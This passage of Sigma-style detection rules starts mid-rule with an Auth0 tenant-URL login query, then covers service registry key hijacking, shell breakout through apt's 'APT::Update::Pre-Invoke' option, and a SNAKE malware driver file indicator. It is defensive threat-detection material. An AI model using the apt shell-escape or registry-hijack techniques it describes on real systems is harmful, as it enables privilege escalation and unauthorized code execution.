            - fp # failed login (incorrect password)
            - scoa # successful cross-origin authentication
            - fcoa # failed cross-origin authentication
            - sepft # successful exchange of password for token
            - fepft # failed exchange of password for token
        data.hostname: "{your-tenant-url}"  # e.g. your-tenant.auth0.com
    condition: selection
explanation: >
  The query below collects log entries corresponding to authentication events, e.g. s-successful login, f-failed login, etc.
  It filters those requests that use the Auth0 tenant name URL by checking "data.hostname".
  The Splunk query below displays clints/applications and log references.
splunk: |
    index=auth0 data.tenant_name="{your-tenant-name}"
    data.type IN (s, f, fs, ss, w, fp, scoa, fcoa, sepft, fepft)
    data.hostname="{your-tenant-url}"
    | fields data.client_id, data.client_name, data.log_id
    | table _time, data.client_id, data.client_name, data.log_id
comments:
    - The Splunk query above shall be tuned to reflect a valid tenant name and tenant url.
tenant_logs: |
    type: (s f fs ss f u fp scoa fcoa sepft fepft) AND hostname: {your-tenant-url}
prevention:
    - When any sort of a reverse proxy (e.g. WAF) is used in front of the tenant and IPs of this proxy can be listed,
      Auth0 Network ACL (Access Control List) can be applied to block any entries from unrecognized IPs.
falsepositives:
    - Legitimate use of the Auth0 tenant name URL, e.g. during testing or white-listed applications.
    - Misconfiguration of applications that are using the Auth0 tenant name URL instead of a custom domain.
level: medium
tags:
    - attack.defense-evasion
    - attack.t1562
    - attack.t1562.007

title: Service Registry Key Read Access Request
id: 11d00fff-5dc3-428c-8184-801f292faec0
status: test
description: |
    Detects "read access" requests on the services registry key.
    Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.
    Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.
references:
    - https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/service_registry_permissions_weakness_check/
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness
author: Center for Threat Informed Defense (CTID) Summiting the Pyramid Team
date: 2023-09-28
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.011
logsource:
    product: windows
    service: security
    definition: 'Requirements: SACLs must be enabled for "READ_CONTROL" on the registry keys used in this rule'
detection:
    selection:
        EventID: 4663
        ObjectName|contains|all:
            - '\SYSTEM\'
            - 'ControlSet\Services\'
        AccessList|contains: '%%1538' # READ_CONTROL
    condition: selection
falsepositives:
    - Likely from legitimate applications reading their key. Requires heavy tuning
level: low

title: Shell Invocation via Apt - Linux
id: bb382fd5-b454-47ea-a264-1828e4c766d6
status: test
description: |
    Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands.
    Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
references:
    - https://gtfobins.github.io/gtfobins/apt/
    - https://gtfobins.github.io/gtfobins/apt-get/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-12-28
modified: 2024-09-02
tags:
    - attack.discovery
    - attack.t1083
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/apt'
            - '/apt-get'
        CommandLine|contains: 'APT::Update::Pre-Invoke::='
    condition: selection
falsepositives:
    - Unknown
level: medium

title: SNAKE Malware Kernel Driver File Indicator
id: d6d9d23f-69c1-41b5-8305-fa8250bd027f
status: test
description: Detects SNAKE malware kernel driver file indicator
references:
    - https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-10
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename: 'C:\Windows\System32\Com\Comadmin.dat'
    condition: selection
falsepositives:
    - Unlikely
level: critical